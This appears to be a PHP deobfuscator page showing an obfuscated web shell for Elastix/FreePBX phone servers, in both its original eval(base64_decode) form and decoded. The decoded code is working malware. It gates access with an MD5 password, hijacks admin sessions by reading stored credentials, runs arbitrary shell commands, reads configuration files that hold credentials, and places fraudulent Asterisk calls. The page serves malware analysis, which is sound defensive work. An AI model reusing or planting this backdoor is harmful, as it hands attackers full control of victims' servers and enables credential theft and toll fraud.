Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*Rp9xMID5gOpgBlPp3f79h5dl*/eval/*GJDW9W10max8Sb*/(base64_decode/*e8ZDpBYf*/('c2Vzc2..

Decoded Output download

session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == 'e33e726376cbcb80816ebddf809194b0') {
    $_SESSION['vii'] = 'logged';
}
if (!isset($_SESSION['vii'])) {
    echo '<form action="" method="post">';
    echo '<input type="text" name="md5" size="32" />';
    echo '<input type="submit" name="Luffy" value="Luffy" /> ';
    echo '</form>';
    echo '<? --  ((/*103.76.145.16*/)) -- ?>';
    exit();
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
    session_destroy();
    session_name("elastixSession");
    session_start();
    $_SESSION['vii'] = 'logged';
    include_once "/var/www/html/libs/paloSantoDB.class.php";
    include_once "/var/www/html/libs/paloSantoACL.class.php";
    $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
    $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
    $_SESSION['elastix_user'] = $db[0][0];
    $_SESSION['elastix_pass'] = $db[0][1];
    header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
    if (!@include_once (getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
        include_once ('/etc/asterisk/freepbx.conf');
    }
    require_once ('/var/www/html/admin/libraries/ampuser.class.php');
    $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
    $_SESSION['AMP_user']->setAdmin();
    header("Location: /admin/config.php");
}

echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5Mb3JkIEx1ZmZ5IFZpaSBWMS4wMDwvaDE+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgPGI+Q0FMTDwvYj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNvbnRleHQiIHZhbHVlPSJhc3Rlcmlzay1vdXRjYWxscyIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0aW1lIiB2YWx1ZT0iNjAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icHJzIiB2YWx1ZT0iMDAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibnVtIiBwbGFjZWhvbGRlcj0ibnVtYmVyIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FsbCIgdmFsdWU9ImNhbGwiIC8+CjwvZm9ybT48YnIgLz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgogICAgPGI+Q01EPC9iPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0nODAnIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleGVjdXRlIiB2YWx1ZT0iRXhlY3V0ZSIgLz4gPGhyIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJscyAtbGEiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJwcyAtYXV4IC0tZm9yZXN0IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdjb3JlIHNob3cgY2hhbm5lbHMnIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdzaXAgc2hvdyBwZWVycyciIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9lbGFzdGl4LmNvbmYiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svZXh0ZW5zaW9uc19jdXN0b20uY29uZiIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FtcG9ydGFsLmNvbmYiIC8+CjwvZm9ybT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iZ2V0IiA+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkVsYXN0aXgiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkZyZWVwYngiIC8+CjwvZm9ybT4KPHByZT4=');
if (isset($_REQUEST['cmd'])) {
    echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
echo '</pre>';

Did this file decode correctly?

Original Code

<?php /*Rp9xMID5gOpgBlPp3f79h5dl*/eval/*GJDW9W10max8Sb*/(base64_decode/*e8ZDpBYf*/('c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdlMzNlNzI2Mzc2Y2JjYjgwODE2ZWJkZGY4MDkxOTRiMCcpIHsKICAgICRfU0VTU0lPTlsndmlpJ10gPSAnbG9nZ2VkJzsKfQppZiAoIWlzc2V0KCRfU0VTU0lPTlsndmlpJ10pKSB7CiAgICBlY2hvICc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4nOwogICAgZWNobyAnPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1kNSIgc2l6ZT0iMzIiIC8+JzsKICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Ikx1ZmZ5IiB2YWx1ZT0iTHVmZnkiIC8+ICc7CiAgICBlY2hvICc8L2Zvcm0+JzsKICAgIGVjaG8gJzw/IC0tICAoKC8qMTAzLjc2LjE0NS4xNiovKSkgLS0gPz4nOwogICAgZXhpdCgpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRWxhc3RpeCcpIHsKICAgIHNlc3Npb25fZGVzdHJveSgpOwogICAgc2Vzc2lvbl9uYW1lKCJlbGFzdGl4U2Vzc2lvbiIpOwogICAgc2Vzc2lvbl9zdGFydCgpOwogICAgJF9TRVNTSU9OWyd2aWknXSA9ICdsb2dnZWQnOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvREIuY2xhc3MucGhwIjsKICAgIGluY2x1ZGVfb25jZSAiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0FDTC5jbGFzcy5waHAiOwogICAgJHBEQiA9IG5ldyBwYWxvREIoInNxbGl0ZTM6Ly8vL3Zhci93d3cvZGIvYWNsLmRiIik7CiAgICAkZGIgPSAkcERCLT5mZXRjaFRhYmxlKCJTRUxFQ1QgbmFtZSwgbWQ1X3Bhc3N3b3JkLGV4dGVuc2lvbiBmcm9tIGFjbF91c2VyIFdIRVJFIGlkID0nMSciKTsKICAgICRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOwogICAgaGVhZGVyKCJMb2NhdGlvbjogL2luZGV4LnBocCIpOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2FkbWluJ10pICYmICRfUkVRVUVTVFsnYWRtaW4nXSA9PSAnRnJlZXBieCcpIHsKICAgIGlmICghQGluY2x1ZGVfb25jZSAoZ2V0ZW52KCdGUkVFUEJYX0NPTkYnKSA/IGdldGVudignRlJFRVBCWF9DT05GJykgOiAnL2V0Yy9mcmVlcGJ4LmNvbmYnKSkgewogICAgICAgIGluY2x1ZGVfb25jZSAoJy9ldGMvYXN0ZXJpc2svZnJlZXBieC5jb25mJyk7CiAgICB9CiAgICByZXF1aXJlX29uY2UgKCcvdmFyL3d3dy9odG1sL2FkbWluL2xpYnJhcmllcy9hbXB1c2VyLmNsYXNzLnBocCcpOwogICAgJF9TRVNTSU9OWydBTVBfdXNlciddID0gbmV3IGFtcHVzZXIoJGFtcF9jb25mWydBTVBEQlVTRVInXSk7CiAgICAkX1NFU1NJT05bJ0FNUF91c2VyJ10tPnNldEFkbWluKCk7CiAgICBoZWFkZXIoIkxvY2F0aW9uOiAvYWRtaW4vY29uZmlnLnBocCIpOwp9CgplY2hvIGJhc2U2NF9kZWNvZGUoJ1BHZ3hJSE4wZVd4bFBTSjBaWGgwTFdGc2FXZHVPaUJqWlc1MFpYSTdJajVNYjNKa0lFeDFabVo1SUZacGFTQldNUzR3TUR3dmFERStDanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpUGdvZ0lDQWdQR0krUTBGTVREd3ZZajRnUEdsdWNIVjBJSFI1Y0dVOUluUmxlSFFpSUc1aGJXVTlJbU52Ym5SbGVIUWlJSFpoYkhWbFBTSmhjM1JsY21semF5MXZkWFJqWVd4c2N5SWdMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnVZVzFsUFNKMGFXMWxJaUIyWVd4MVpUMGlOakFpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGljSEp6SWlCMllXeDFaVDBpTURBaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpYm5WdElpQndiR0ZqWldodmJHUmxjajBpYm5WdFltVnlJaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMkZzYkNJZ2RtRnNkV1U5SW1OaGJHd2lJQzgrQ2p3dlptOXliVDQ4WW5JZ0x6NEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnUGdvZ0lDQWdQR0krUTAxRVBDOWlQZ29nSUNBZ1BHbHVjSFYwSUhSNWNHVTlJblJsZUhRaUlHNWhiV1U5SW1OdFpDSWdjMmw2WlQwbk9EQW5JQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmxlR1ZqZFhSbElpQjJZV3gxWlQwaVJYaGxZM1YwWlNJZ0x6NGdQR2h5SUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKc2N5QXRiR0VpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0pqYldRaUlIWmhiSFZsUFNKd2N5QXRZWFY0SUMwdFptOXlaWE4wSWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2RqYjNKbElITm9iM2NnWTJoaGJtNWxiSE1uSWlBdlBnb2dJQ0FnUEdsdWNIVjBJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWTIxa0lpQjJZV3gxWlQwaVlYTjBaWEpwYzJzZ0xYSjRJQ2R6YVhBZ2MyaHZkeUJ3WldWeWN5Y2lJQzgrQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmpiV1FpSUhaaGJIVmxQU0pqWVhRZ0wyVjBZeTlsYkdGemRHbDRMbU52Ym1ZaUlDOCtDaUFnSUNBOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQnVZVzFsUFNKamJXUWlJSFpoYkhWbFBTSmpZWFFnTDJWMFl5OWhjM1JsY21semF5OXphWEJmWVdSa2FYUnBiMjVoYkM1amIyNW1JaUF2UGdvZ0lDQWdQR2x1Y0hWMElIUjVjR1U5SW5OMVltMXBkQ0lnYm1GdFpUMGlZMjFrSWlCMllXeDFaVDBpWTJGMElDOWxkR012WVhOMFpYSnBjMnN2WlhoMFpXNXphVzl1YzE5amRYTjBiMjB1WTI5dVppSWdMejRLSUNBZ0lEeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUltTnRaQ0lnZG1Gc2RXVTlJbU5oZENBdlpYUmpMMkZ0Y0c5eWRHRnNMbU52Ym1ZaUlDOCtDand2Wm05eWJUNEtQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaVoyVjBJaUErQ2lBZ0lDQThhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSmhaRzFwYmlJZ2RtRnNkV1U5SWtWc1lYTjBhWGdpSUM4K0NpQWdJQ0E4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCdVlXMWxQU0poWkcxcGJpSWdkbUZzZFdVOUlrWnlaV1Z3WW5naUlDOCtDand2Wm05eWJUNEtQSEJ5WlQ0PScpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpIHsKICAgIGVjaG8gc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOwp9CmlmIChpc3NldCgkX1JFUVVFU1RbJ2NhbGwnXSkpIHsKICAgIHN5c3RlbSgnYXN0ZXJpc2sgLXJ4ICJjaGFubmVsIG9yaWdpbmF0ZSBMb2NhbC8nIC4gJF9SRVFVRVNUWydwcnMnXSAuICRfUkVRVUVTVFsnbnVtJ10gLiAnQCcgLiAkX1JFUVVFU1RbJ2NvbnRleHQnXSAuICcgYXBwbGljYXRpb24gd2FpdCAnIC4gJF9SRVFVRVNUWyd0aW1lJ10gLiAnIicpOwp9CmVjaG8gJzwvcHJlPic7Cg=='));/*01u8aMdo7U7LQhIRh*/?>[root@103-76-145-16 modules]#

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bd8ec4e93e2f27b26026f2232a9c4417
Eval Count 1
Decode Time 97 ms